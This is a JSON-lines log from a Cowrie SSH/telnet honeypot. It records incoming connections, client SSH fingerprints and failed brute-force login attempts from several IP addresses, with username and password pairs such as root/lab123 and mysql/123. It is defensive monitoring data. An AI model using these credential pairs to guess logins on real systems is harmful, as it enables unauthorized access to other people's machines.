{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:20:22.630163Z","src_ip":"160.187.174.22","session":"6b8438548a75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"awsgui","password":"awsgui","message":"login attempt [awsgui/awsgui] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:20:23.624357Z","src_ip":"160.187.174.22","session":"6b8438548a75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:20:24.877444Z","src_ip":"160.187.174.22","session":"6b8438548a75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37126,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe248ced7333","protocol":"telnet","message":"New connection: 170.64.224.25:37126 (159.203.135.109:23) [session: fe248ced7333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:20:37.111182Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":46008,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcce4ccc9e8b","protocol":"ssh","message":"New connection: 213.202.230.81:46008 (10.17.0.5:22) [session: bcce4ccc9e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:20:50.129341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:20:50.133246Z","src_ip":"213.202.230.81","session":"bcce4ccc9e8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:20:50.225929Z","src_ip":"213.202.230.81","session":"bcce4ccc9e8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arbitrum","password":"arbitrum999","message":"login attempt [arbitrum/arbitrum999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:20:50.507679Z","src_ip":"213.202.230.81","session":"bcce4ccc9e8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34694,"dst_ip":"159.203.135.109","dst_port":22,"session":"fae6fc3fa03e","protocol":"ssh","message":"New connection: 160.187.174.22:34694 (159.203.135.109:22) [session: fae6fc3fa03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:20:50.797470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:20:50.801962Z","src_ip":"160.187.174.22","session":"fae6fc3fa03e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:20:51.040688Z","src_ip":"160.187.174.22","session":"fae6fc3fa03e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:20:51.608896Z","src_ip":"213.202.230.81","session":"bcce4ccc9e8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:20:51.766089Z","src_ip":"160.187.174.22","session":"fae6fc3fa03e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:20:53.007075Z","src_ip":"160.187.174.22","session":"fae6fc3fa03e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.229.220.180","src_port":39976,"dst_ip":"10.17.0.5","dst_port":22,"session":"99c042d7e87c","protocol":"ssh","message":"New connection: 221.229.220.180:39976 (10.17.0.5:22) [session: 99c042d7e87c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:20:58.412843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:20:58.417172Z","src_ip":"221.229.220.180","session":"99c042d7e87c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:20:58.660673Z","src_ip":"221.229.220.180","session":"99c042d7e87c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123","message":"login attempt [mysql/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:20:59.657032Z","src_ip":"221.229.220.180","session":"99c042d7e87c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39494,"dst_ip":"159.203.135.109","dst_port":23,"session":"326f2519db94","protocol":"telnet","message":"New connection: 170.64.224.25:39494 (159.203.135.109:23) [session: 326f2519db94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:00.443361Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.193.165","src_port":39566,"dst_ip":"10.17.0.5","dst_port":22,"session":"de6c2f45006c","protocol":"ssh","message":"New connection: 20.228.193.165:39566 (10.17.0.5:22) [session: de6c2f45006c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:00.564568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:00.568645Z","src_ip":"20.228.193.165","session":"de6c2f45006c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:00.579959Z","src_ip":"20.228.193.165","session":"de6c2f45006c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lab123","message":"login attempt [root/lab123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:00.660899Z","src_ip":"20.228.193.165","session":"de6c2f45006c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:00.903246Z","src_ip":"221.229.220.180","session":"99c042d7e87c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:01.678389Z","src_ip":"20.228.193.165","session":"de6c2f45006c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":34252,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c4116d07450","protocol":"ssh","message":"New connection: 62.133.62.83:34252 (10.17.0.5:22) [session: 5c4116d07450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:13.015370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:13.019392Z","src_ip":"62.133.62.83","session":"5c4116d07450","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:13.100669Z","src_ip":"62.133.62.83","session":"5c4116d07450","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"150292","message":"login attempt [root/150292] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:13.338016Z","src_ip":"62.133.62.83","session":"5c4116d07450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:14.418638Z","src_ip":"62.133.62.83","session":"5c4116d07450","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":36670,"dst_ip":"159.203.135.109","dst_port":22,"session":"465f3b1d93e6","protocol":"ssh","message":"New connection: 77.94.47.83:36670 (159.203.135.109:22) [session: 465f3b1d93e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:14.851548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:14.855258Z","src_ip":"77.94.47.83","session":"465f3b1d93e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:14.964608Z","src_ip":"77.94.47.83","session":"465f3b1d93e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"assa1234","message":"login attempt [root/assa1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:15.299476Z","src_ip":"77.94.47.83","session":"465f3b1d93e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:16.413548Z","src_ip":"77.94.47.83","session":"465f3b1d93e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":51120,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b39f12cdc86","protocol":"ssh","message":"New connection: 91.92.40.4:51120 (10.17.0.5:22) [session: 9b39f12cdc86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:16.873452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:16.879945Z","src_ip":"91.92.40.4","session":"9b39f12cdc86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:16.959845Z","src_ip":"91.92.40.4","session":"9b39f12cdc86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwer1234","message":"login attempt [user/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:17.209058Z","src_ip":"91.92.40.4","session":"9b39f12cdc86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00159072875977,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:17.260125Z","src_ip":"170.64.224.25","session":"649e219cfc5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:18.292417Z","src_ip":"91.92.40.4","session":"9b39f12cdc86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":35740,"dst_ip":"159.203.135.109","dst_port":22,"session":"87a111c8213f","protocol":"ssh","message":"New connection: 160.187.174.22:35740 (159.203.135.109:22) [session: 87a111c8213f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:18.615611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:18.619528Z","src_ip":"160.187.174.22","session":"87a111c8213f","protocol":"ssh"}
